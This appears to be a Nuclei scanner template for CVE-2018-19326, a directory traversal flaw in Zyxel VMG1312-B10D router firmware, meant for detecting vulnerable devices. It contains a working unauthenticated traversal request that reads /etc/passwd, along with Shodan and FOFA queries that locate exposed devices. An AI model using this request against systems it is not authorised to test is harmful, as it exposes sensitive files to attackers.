CVE-2018-19326: Zyxel VMG1312-B10D 5.13AAXA.8 - Local File Inclusion

id: CVE-2018-19326

info:
  name: Zyxel VMG1312-B10D 5.13AAXA.8 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    Zyxel VMG1312-B10D 5.13AAXA.8 is susceptible to local file inclusion. A remote unauthenticated attacker can send a specially crafted URL request containing "dot dot" sequences (/../), conduct directory traversal attacks, and view arbitrary files.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to read sensitive files on the target system.
  remediation: |
    Apply the latest firmware update provided by Zyxel to fix the Local File Inclusion vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/45904
    - https://www.cybersecurity-help.cz/vdb/SB2018120309
    - https://www.zyxel.com/homepage.shtml
    - https://gist.github.com/numanturle/4988b5583e5ebe501059bd368636de33
    - https://nvd.nist.gov/vuln/detail/CVE-2018-19326
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-19326
    cwe-id: CWE-22
    epss-score: 0.44086
    epss-percentile: 0.97467
    cpe: cpe:2.3:o:zyxel:vmg1312-b10d_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zyxel
    product: vmg1312-b10d_firmware
    shodan-query:
      - http.html:"VMG1312-B10D"
      - http.html:"vmg1312-b10d"
    fofa-query: body="vmg1312-b10d"
  tags: cve2018,cve,lfi,modem,router,edb,zyxel

http:
  - method: GET
    path:
      - "{{BaseURL}}/../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
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